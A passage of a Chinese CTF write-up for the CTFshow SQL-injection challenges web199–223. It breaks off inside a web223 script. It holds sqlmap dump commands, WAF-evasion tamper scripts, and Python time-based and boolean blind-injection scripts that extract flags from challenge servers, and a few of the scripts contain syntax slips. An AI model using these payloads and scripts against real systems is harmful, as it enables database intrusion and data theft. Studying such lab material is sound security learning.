

CTFshow-WEB入门-SQL注入(中)

原创

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订阅专栏

web199

很懵。。。把括号给过滤了, 所以varchar(255)就不能用了, 考虑改成其他的类型, 但是不知道到底哪里出了问题, 每次一改不是没效果, 就是查不出来东西。一旦alter出错就要重新启容器, 很烦。

看了一下y4师傅的姿势, 服了

```
1;show tables;
ctfshow_user
```

对, 最简单的方法, 一直都没想起来, 我太菜了。。。

web200

同上

web201

开始学习sqlmap的使用。

[sqlmap的使用手册: sqlmap](#)

不过因为是纯英文, 英文太菜的我肯定看不太懂, 不过也不需要多深入的了解, 正常会用到的就那些, 遇到新的了再去翻教程学。

比较详细的使用教程: [超详细SQLMap使用攻略及技巧分享](#)

本题提到了这个:

```
使用-user-agent 指定agent
使用-referer 绕过referer检查
```

因此设置一下user-agent和-referer就可以了。

-user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是: sqlmap/1.0-dev-xxxxxx(http://sqlmap.org)可以使用-user-agent参数来修改，同时也可以使用-random-agent参数来随机的从./txt/user-agents.txt中获取。当-level参数设定为3或者3以上的时候，会尝试对User-Agent进行注入
-referer=REFERER sqlmap可以在请求中伪造HTTP中的referer，当-level参数设定为3或者3以上的时候会尝试对referer注入

正常的步骤就是查数据库，查表，查列名，爆字段：

查数据库

```
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --dbs --user-agent sqlmap --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php
```

查表

```
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web --tables
```

查列名

```
> python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web -T ctfshow_user --columns
```

爆字段：

```
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump
```

web202

按照提示

使用-data 调整sqlmap的请求方式

改用post请求，所以用-data设置一下post请求的参数就可以了。

为了省事，我直接--dump了。

```
python sqlmap.py -u http://b6da1e6a-e344-4144-ba1d-0c55a6be9aba.chall.ctf.show:8080/api/ --data="id=1" --referer ="ctf.show" --dump
```

web203

越来越迷了：

使用-method 调整sqlmap的请求方式

改成PUT还是不对，而且还没说清请求的参数到底在get的那个位置还是post的那个位置。。。看了一下y4师傅的WP：

注意：一定要加上--headers="Content-Type: text/plain"，否则是按表单提交的，put接收不到

payload如下：

```
python sqlmap.py -u http://df1808c4-d310-4d8a-958a-875b92bfbfb2.chall.ctf.show:8080/api/index.php --dump --method=PUT --data="id=1" --headers="content-type:text/plain"
```

还有一个比较坑的点就是/api/index.php，之前几题我都是/api/，都可以，但是这题要/api/index.php才行，不知道怎么回事。

web204

使用--cookie 提交cookie数据

把cookie加上：

```
python sqlmap.py -u http://df9bede0-9894-4727-8cf8-333eea7e3cdb.chall.ctf.show:8080/api/index.php --cookie="PHPSESSID=ag1ql2rm25v55317vg044d2tkv; ctfsnow=4d95dc558249bdc801e782e3497e5718" --dump --data=id=1 --referer="ctf.show" --method="PUT" -headers="content-type:text/plain"
```

web205

api调用需要鉴权

bp抓包看一下，请求index.php之前还会请求一次getToken.php，也就是说每注入一次，要先访问一次getToken.php，然后再注入。找了一下sqlmap的-usage，没找到一个合适的选项，看了一下y4师傅的WP：

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

```
python sqlmap.py -u http://f3cc189f-50e4-424a-8d44-5ad78aac468e.chall.ctf.show:8080/api/index.php --method="PUT" --data=id=1 --safe-url="http://f3cc189f-50e4-424a-8d44-5ad78aac468e.chall.ctf.show:8080/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=ncit3l1ru3lhp92tv6bvua58j4" --dump -headers="content-type:text/plain" --referer="ctf.show"
```

学到了，学到了。

web206

sql需要闭合

看到SQL语句加了括号。。。第一反应是SQLMAP难道不能注入带括号的吗。。。然后正常注入，跑出flag了。。。就很迷这题是考啥sqlmap的选项的呢。。。感觉没啥用。。。

```
python sqlmap.py -u http://1e0a1ae3-e7a0-4f1e-bad6-8819cd2e0477.chall.ctf.show:8080/api/index.php --dump --referer="ctf.show" --safe-url="http://1e0a1ae3-e7a0-4f1e-bad6-8819cd2e0477.chall.ctf.show:8080/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=059qemhlplivj0omlq3am44lhk" --method="PUT" -headers="content-type:text/plain" --data=id=1"
```

web207

-tamper 的初体验

查一下-tamper：

-tamper=TAMPER Use given script(s) for tampering injection data

使用给定的脚本篡改注入的数据。

示例

```
sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper=tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
```

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤' ' 替换空格字符 ('') , ('--') 后跟一个破折号注释, 一个随机字符串和一个新行 ('\n')

greatest.py 绕过过滤'>' ,用GREATEST替换大于号。

space2hash.py空格替换为#号, 随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号, 替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙, 每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤, 替换类似' IFNULL(A,B)' 为' IF(ISNULL(A), B, A)'

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格, 包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号 (>)

space2mysqldash.py替换空格字符 ('') (' - ') 后跟一个破折号注释一个新行 ('\n')

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符 ("") 从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password' 从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

```
randomcase.py随机大小写
```

```
unmagicquotes.py宽字符绕过 GPCaddslashes
```

```
randomcomments.py用/**/分割sql关键字
```

```
charunicodeencode.py字符串 unicode 编码
```

```
securesphere.py追加特制的字符串
```

```
versionedmorekeywords.py注释绕过
```

```
space2comment.py替换空格字符串('') 使用注释'/**/'
```

```
halfversionedmorekeywords.py关键字前加注释
```

再高级一点的可能就需要我们自己写脚本。。。

不过这题因为ban了空格，所以拿/**/绕过即可。

```
python sqlmap.py -u http://684a57ec-9838-4591-98ba-4344043ddb58.chall.ctf.show:8080/api/index.php --dump --referer="ctf.show" --safe-url="http://684a57ec-9838-4591-98ba-4344043ddb58.chall.ctf.show:8080/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=059qemhlplivj0omlq3am44lhk" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/space2comment.py"
```

web208

还把select给过滤了，但是没区分大小写，所以可以大小写绕过。

```
python sqlmap.py -u http://a2c377af-0be8-4acf-8ee6-b2efdc4aa0ff.chall.ctf.show:8080/api/index.php --dump --referer="ctf.show" --safe-url="http://a2c377af-0be8-4acf-8ee6-b2efdc4aa0ff.chall.ctf.show:8080/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=059qemhlplivj0omlq3am44lhk" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/space2comment.py,tamper/randomcase.py"
```

web209

```
function waf($str){  
    //TODO 未完工  
    return preg_match('/ |/*|/=/', $str);  
}
```

过滤了=可以用like，但是过滤了空格和*其实可以用括号或者%0a这样的，但是为什么sqlmap自带的把空格替换成其他的可代替空格的字符的tamper用在这题都不行？

所以只能自己写脚本或者改一下原有的。过滤了空格和*，那就%0a:

```

for i in xrange(len(payload)):
    if not firstspace:
        if payload[i].isspace():
            firstspace = True
            retVal += chr(0x0a)
            continue

    elif payload[i] == '\'':
        quote = not quote

    elif payload[i] == '"':
        doublequote = not doublequote

    elif payload[i] == " " and not doublequote and not quote:
        retVal += chr(0x0a)
        continue

    retVal += payload[i]

```

把tamper/space2comment.py里面的 `/**/` 换成了`chr(0x0a)`就可以了。还需要把`=`替换给`like`, tamper/equaltolike.py可以做到。当然也可以自己写脚本替换:

```

elif payload[i] == '=':
    retVal += chr(0x0a) + 'like' + chr(0x0a)

```

```

python sqlmap.py -u http://b4e89c77-6a06-4618-a05c-428dacf21b71.chall.ctf.show:8080/api/index.php --dump --referer="ctf.show" --safe-url="http://b4e89c77-6a06-4618-a05c-428dacf21b71.chall.ctf.show:8080/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=059qemhlplivj0omlq3am44lhk" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/equaltolike.py,tamper/feng.py"

```

编写tamper的参考文章: [Sqlmap Tamper 编写](#)

web210

直接按照逻辑写就完事了

```
#!/usr/bin/env python

"""

Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal=retVal.encode()
        retVal=retVal[::-1]
        retVal=base64.b64encode(retVal)
        retVal=retVal[::-1]
        retVal=base64.b64encode(retVal)
    return retVal.decode()
```

```
python sqlmap.py -u http://de90271f-b229-433a-b034-817054d67705.chall.ctf.show:8080/api/index.php --dump --refer
er="ctf.show" --safe-url="http://de90271f-b229-433a-b034-817054d67705.chall.ctf.show:8080/api/getToken.php" --sa
fe-freq=1 --cookie="PHPSESSID=059qemh1plivj0omlq3am44lhk" --method="PUT" -headers="content-type:text/plain" --da
ta=id=1 --tamper="tamper/web210.py"
```

web211

没啥好说的

```
python sqlmap.py -u http://6c787cb9-3497-42d7-9096-a700a37320ef.chall.ctf.show:8080/api/index.php --dump --refer
er="ctf.show" --safe-url="http://6c787cb9-3497-42d7-9096-a700a37320ef.chall.ctf.show:8080/api/getToken.php" --sa
fe-freq=1 --cookie="PHPSESSID=059qemh1plivj0omlq3am44lhk" --method="PUT" -headers="content-type:text/plain" --da
ta=id=1 --tamper="tamper/space2comment.py,tamper/web210.py"
```

需要注意的是，要先把空格替换成/**/才行。

web212

```
python sqlmap.py -u http://674c545c-dd49-47ea-9622-05977fd17c25.chall.ctf.show:8080/api/index.php --dump --refer
er="ctf.show" --safe-url="http://674c545c-dd49-47ea-9622-05977fd17c25.chall.ctf.show:8080/api/getToken.php" --sa
fe-freq=1 --cookie="PHPSESSID=059qemh1plivj0omlq3am44lhk" --method="PUT" -headers="content-type:text/plain" --da
ta=id=1 --tamper="tamper/feng.py,tamper/web210.py"
```

web213

暂时没想到好办法

web214

卑微的找不到注入点。。。人傻了。。看一下y4师傅，注入点是在/api/index.php的post里面：

The screenshot shows a comparison between a Request and a Response in a web proxy interface.

Request:

- Pretty
- Raw
- \n
- Actions

```
1 POST /api/index.php HTTP/1.1
2 Host: be17b241-b78e-4079-bda2-55575af70d93.chall.ctf.show:8080
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
6 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
7 Referer: http://be17b241-b78e-4079-bda2-55575af70d93.chall.ctf.show:8080/
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN, zh;q=0.9, en-US;q=0.8, en;q=0.7
0 Cookie: UM_distinctid=17734ca8cf42cf-0a68bc5a550a57-31346d-e1000-17734ca8cf51ba; PHPSESSID=bose7meotk9mdpgfp16a51sk7o
1 Connection: close
2 Content-Type: application/x-www-form-urlencoded
3 Content-Length: 29
4
5 ip=if(2>1, sleep(2), 1)&debug=0
```

Response:

- Pretty
- Raw
- Render
- \n
- Actions

```
1 HTTP/1.1 200 OK
2 Content-Type: text/html; charset=UTF-8
3 Date: Tue, 09 Feb 2021 03:28:06 GMT
4 Server: nginx/1.16.1
5 X-Powered-By: PHP/7.3.11
6 Content-Length: 0
7 Connection: close
8
9
```

... (Ellipsis)

<https://blog.csdn.net/rfrder>

而且没回显，直接时间盲注就可以了：

```

"""
Author:feng
"""

import requests
from time import time

url='http://be17b241-b78e-4079-bda2-55575af70d93.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag.lower())
            break

    #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_
name='ctfshow_flagx'),{},1))<{},sleep(0.5),1)".format(i,j)
    payload="if(ascii(substr((select group_concat(flag) from ctfshow_flagx),{},1))<{},sleep(0.5),1)".format
(i,j)

    data={
        'ip':payload,
        'debug':0
    }
    start_time=time()
    r=requests.post(url=url,data=data)
    end_time=time()
    if end_time-start_time>0.49:
        max=j
    else :
        min=j

```

又从y4师傅的脚本里学到了新的东西，可以不比较请求前后的时间差，而是直接设置timeout:

```
"""
Author:feng
"""

import requests
from time import time

url='http://be17b241-b78e-4079-bda2-55575af70d93.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag.lower())
            break

    #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_
name='ctfshow_flagx'),{},1))<{},sleep(0.5),1)".format(i,j)
    payload="if(ascii(substr((select group_concat(flag) from ctfshow_flagx),{},1))<{},sleep(0.5),1)".format
(i,j)

    data={
        'ip':payload,
        'debug':0
    }
    try:
        r=requests.post(url=url,data=data,timeout=0.5)
        min=j
    except:
        max=j
```

web215

```
"""
Author : feng
"""

import requests
url="http://5895b664-35ae-4472-86f4-5106f89bdc9f.chall.ctf.show:8080/api/index.php"
flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if j==min:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}' :
                exit()
            break
        payload="'" or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))<{},sleep(0.05),1)
#.format(i,j)
        data={
            'ip':payload,
            'debug':0
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.05)
            min=j
        except:
            max=j
```

web216

看到from_base64，想着把payloadbase64加密一次之后再打，但是发现不太行，看了一下y4师傅的姿势，突然醒悟。。

```
where id = from_base64($id);
```

这个SQL语句是在PHP里的那个 \$sql，相当于我们传入的payload是拼接到这个PHP的字符串的，所以根本没必要进行整体的base64加密，因为是字符串的拼接，因此直接闭合from_base64就可以了。

```

"""
Author:feng
"""

import requests
from base64 import b64encode
url='http://4e1e36fc-b314-4530-a15a-40b94c10d8de.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}':
                exit()
            break
    #payLoad="'MQ==' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database(),{},1))<{},sleep(0.05),1)#".format(i,j)
    #payLoad="'MQ==' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))<{},sleep(0.05),1)#".format(i,j)
    payload="'MQ==' or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))<{},sleep(0.05),1)#".format(i,j)

    data={
        'ip':payload,
        'debug':0
    }
    try:
        r=requests.post(url=url,data=data,timeout=0.05)
        min=j
    except:
        max=j

```

web217

sleep被ban了就用benchmark。我也是第一次用benchmark进行时间盲注，属实感受到了这个玩意贼耗时间，它比较容易受网速还有服务器那边的响应的影响，一条benchmark，有时候跑2秒，有时候0.几秒，而且越跑到后面误差越大，写个脚本：

```

"""
Author:feng
"""

import requests
import time
url='http://9b2a89ce-8e84-471c-9b2e-be262825623d.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}':
                exit()
            break

#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database(),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)
#payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)
    payload="if(ascii(substr((select group_concat(flagabc) from ctfshow_flagxccb),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)

    data={
        'ip':payload,
        'debug':0
    }
    try:
        r=requests.post(url=url,data=data,timeout=0.5)
        min=j
    except:
        max=j
    time.sleep(0.2)
time.sleep(1)

```

关键就在最后的 `time.sleep`。每请求一次就延迟0.2秒，提高准确率，每爆出一个字母就再延迟1.2秒，以免服务器那边太卡，这样每条请求之间间隔一定的时间，虽然爆起来比较慢，但是准确率可以说是100%，不至于受到服务器和网速的影响。

web218

`sleep`和`benchmark`都ban了，那就用其他的姿势：

[SQL注入有趣姿势总结](#)

里面提到了5种时间注入的姿势，这题用一下笛卡尔积注入。

```

"""
Author:feng
"""

import requests
import time
url='http://1f4080db-15a9-499c-877e-551548334e4c.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}'':
                exit()
            break

    #payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database(),{},1))<{}),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)
    #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc',{},1))<{}),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)
    payload="if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc,{},1))<{}),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)

    data={
        'ip':payload,
        'debug':0
    }
    try:
        r=requests.post(url=url,data=data,timeout=0.15)
        min=j
    except:
        max=j
    time.sleep(0.2)
time.sleep(1)

```

不过做到219题的时候看到ban了rlke，所以这题的预期解其实是rlke，所以再回来写一下rlke的脚本：

```

"""
Author:feng
"""

import requests
from time import *
url='http://bdd029c0-b86f-4690-a94e-f1d9c8163304.chall.ctf.show:8080/api/index.php'

time="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b''"

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}':
                exit()
            break

    #payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},{},1)".format(i,j,time)
    #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))<{},{},1)".format(i,j,time)
    payload="if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1))<{},{},1)".format(i,j,time)

    data={
        'ip':payload,
        'debug':0
    }
    try:
        r=requests.post(url=url,data=data,timeout=0.3)
        min=j
    except:
        max=j
        sleep(0.2)
    sleep(1)

```

rlike换成regexp也行。

web219

ban了rlike，可以用regexp，也可以笛卡尔积注入，脚本同上。

web220

```

function waf($str){
    return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

```

ascii,group_concat,csubstr这些常用的给ban了就换姿势，用like或者regexp或者left,right之类的等等，或者locate等都可以，后面的时间盲注rlike,regexp或者笛卡尔积都行。

```
"""
Author:feng
"""

import requests
import time

url = 'http://a358f0af-b184-4647-af37-a0555f8e75b4.chall.ctf.show:8080/api/index.php'

flag = ''
for i in range(100):
    for j in "-abcdefghijklmnopqrstuvwxyz0123456789{},_":
        #payload = "if((select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%")
        #payload="if((select column_name from information_schema.columns where table_name='ctfshow_flagxac' limit 1,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag+j+"%")
        payload="if((select flagaabcc from ctfshow_flagxac limit 0,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag+j+"%")

        data = {
            'ip': payload,
            'debug': 0
        }
        try:
            r = requests.post(url=url, data=data, timeout=0.15)
        except:
            flag += j
            print(flag)
            break
        if j == "}":
            exit()
        time.sleep(0.3)
```

时间盲注终于结束了，时间盲注真的太熬人了，看着那字符一点一点的慢悠悠的冒出来太烦了。

web221

limit注入可以参考p神的文章和另外一个博主关于SQL注入的文章：

[转载]Mysql下Limit注入方法

limit注入

利用procedure analyse来进行注入，只能使用extractvalue 和 benchmark。这题开启了报错，所以extractvalue肯定是最方便的。

```
?page=1&limit=1  procedure analyse(extractvalue(1,concat(1,database())),1)
```

web222

group by的注入。可以时间盲注，一个简单的例子：

```
select * from users group by 1,if(1=1,sleep(0.05),1)
```

mysql_root security ▶ 运行已选择的 停止 解释已选择的

```
1 select * from users group by 1,if(1=1,sleep(0.05),1)
2
```

信息 结果 1 剖析 状态

id	username	password
1	Dumb	Dumb
2	Angelina	I-kill-you
3	Dummy	p@ssword
4	secure	crappy
5	stupid	stupidity
6	superman	genious
7	batman	mob!le
8	admin	admin
9	admin1	admin1

+ - × C

```
select * from users group by 1,if(1=1,sleep(0.05),1)
```

查询时间: 0.865s 第 1 页

需要注意的是，是对查询结果的每一行都进行一次sleep，因为我的表里有16行，所以 16×0.05 就是0.8s左右。所以写个脚本时间盲注一波即可：

```

"""
Author:feng
"""

import requests
import time
url='http://fa11dfdd-f41b-4df7-9e21-5a23654a0f53.chall.ctf.show:8080/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}'':
                exit()
            break

    #payload="1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_
schema=database()),{},1))<{},sleep(0.02),1)".format(i,j)
    #payload="1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where tabl
e_name='ctfshow_flaga'),{},1))<{},sleep(0.02),1)".format(i,j)
    payload="1,if(ascii(substr((select group_concat(flagaab) from ctfshow_flaga),{},1))<{},sleep(0.02),1)".format(i,j)

    try:
        r=requests.get(url+payload,timeout=0.4)
        min=j
    except:
        max=j
    time.sleep(0.2)
    time.sleep(1)

```

web223

既然ban了数字，就拿true来绕过，但是不知道为什么怎么我打过去连回显都没有了，很迷。我把payload放到bp里面就是有回显，python脚本里面就是不行：

The screenshot shows the Network tab of a browser developer tools interface. On the left, under 'Request', there is a multi-line GET payload. On the right, under 'Response', there is a large JSON object representing a list of user records.

```
1 GET /api/?u=
i&0Cif(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow') union select 1))>0) OR 1=1
2 Host: 56062bfa-bf6f-485f-ad79-da722011f843.chall.ctf.show:8080
3 Accept: application/json, text/javascript, */*; q=0.01
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
5 X-Requested-With: XMLHttpRequest
6 Referer: http://56062bfa-bf6f-485f-ad79-da722011f843.chall.ctf.show:8080/other.php
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN, zh;q=0.9, en-US;q=0.8, en;q=0.7
9 Cookie: UM_distinctid=
```

```
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":1,"username":"ctfshow","pass":"ctfshow"}, {"id":2,"username":"user1","pass":"111"}, {"id":3,"username":"user2","pass":"222"}, {"id":4,"username":"userAUTO","pass":"passwordAUTO"}, {"id":5,"username":"userAUTO","pass":"passwordAUTO"}, {"id":6,"username":"userAUTO","pass":"passwordAUTO"}, {"id":7,"username":"userAUTO","pass":"passwordAUTO"}, {"id":8,"username":"userAUTO","pass":"passwordAUTO"}, {"id":9,"username":"userAUTO","pass":"passwordAUTO"}, {"id":10,"username":"userAUTO","pass":"passwordAUTO"}, {"id":11,"username":"userAUTO","pass":"passwordAUTO"}, {"id":12,"username":"userAUTO","pass":"passwordAUTO"}, {"id":13,"username":"userAUTO","pass":"passwordAUTO"}, {"id":14,"username":"userAUTO","pass":"passwordAUTO"}, {"id":15,"username":"userAUTO","pass":"passwordAUTO"}, {"id":16,"username":"userAUTO","pass":"passwordAUTO"}, {"id":17,"username":"userAUTO","pass":"passwordAUTO"}, {"id":18,"username":"userAUTO","pass":"passwordAUTO"}, {"id":19,"username":"userAUTO","pass":"passwordAUTO"}, {"id":20,"username":"userAUTO","pass":"passwordAUTO"}, {"id":21,"username":"userAUTO","pass":"passwordAUTO"}]}
```

<https://blog.csdn.net/rfrider>

就很烦，但是正常肯定是没有问题的。

看一下y4师傅的WP，用的布尔注入，确实比时间盲注要简单，但是我改成了布尔注入还是不行，很迷，然后又仔细的看了一下y4师傅的脚本，发现了问题所在，我是这样：

```
r=requests.get(url=url+payload)
```

但是y4师傅是这样：

```
params={
    'u':payload
}
r=requests.get(url=url,params=params)
```

我改成params传参之后，果然有回显了，之前的时间盲注脚本也变好了，所以我又又又踩坑了？？？以后注意，以后都改用params，防止被坑。

至于布尔注入的原理，就是这样：

```
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":1,"username":"ctfshow","pass":"ctfshow"}, {"id":2,"username":"user1","pass":"111"}, {"id":3,"username":"user2","pass":"222"}, {"id":4,"username":"userAUTO","pass":"passwordAUTO"}]}
```

The screenshot shows the HackBar tool's interface. The URL bar contains `http://519b4563-c006-475d-91ef-a71b7eed2ebd.chall.ctf.show:8080/api/?u=username`. The main area displays the JSON response from the server, which includes the original data and a large number of additional entries where the 'username' field is set to 'userAUTO' and the 'pass' field is set to 'passwordAUTO'. The tool's navigation bar at the top includes tabs for LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI, SSTI, ENCODING, HASHING, and THEME.

```
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":1,"username":"ctfshow","pass":"ctfshow"}, {"id":2,"username":"user1","pass":"111"}, {"id":3,"username":"user2","pass":"222"}, {"id":4,"username":"userAUTO","pass":"passwordAUTO"}, {"id":5,"username":"userAUTO","pass":"passwordAUTO"}, {"id":6,"username":"userAUTO","pass":"passwordAUTO"}, {"id":7,"username":"userAUTO","pass":"passwordAUTO"}, {"id":8,"username":"userAUTO","pass":"passwordAUTO"}, {"id":9,"username":"userAUTO","pass":"passwordAUTO"}, {"id":10,"username":"userAUTO","pass":"passwordAUTO"}, {"id":11,"username":"userAUTO","pass":"passwordAUTO"}, {"id":12,"username":"userAUTO","pass":"passwordAUTO"}, {"id":13,"username":"userAUTO","pass":"passwordAUTO"}, {"id":14,"username":"userAUTO","pass":"passwordAUTO"}, {"id":15,"username":"userAUTO","pass":"passwordAUTO"}, {"id":16,"username":"userAUTO","pass":"passwordAUTO"}, {"id":17,"username":"userAUTO","pass":"passwordAUTO"}, {"id":18,"username":"userAUTO","pass":"passwordAUTO"}, {"id":19,"username":"userAUTO","pass":"passwordAUTO"}, {"id":20,"username":"userAUTO","pass":"passwordAUTO"}, {"id":21,"username":"userAUTO","pass":"passwordAUTO"}]}
```

The screenshot shows the HackBar tool's interface. The URL bar contains `http://519b4563-c006-475d-91ef-a71b7eed2ebd.chall.ctf.show:8080/api/?u=id`. The main area displays the JSON response from the server, which includes the original data and a large number of additional entries where the 'username' field is set to 'userAUTO' and the 'pass' field is set to 'passwordAUTO'. The tool's navigation bar at the top includes tabs for LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI, SSTI, ENCODING, HASHING, and THEME.

也可以用不存在的列名，这样就没有回显，同样可以布尔注入。

```

"""
Author:feng
"""

import requests
import time
def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num

url='http://519b4563-c006-475d-91ef-a71b7eed2ebd.chall.ctf.show:8080/api/'

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}':
                exit()
            break

    #payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},{}))<{},username,id)".format(createNum(i),createNum(1),createNum(j))
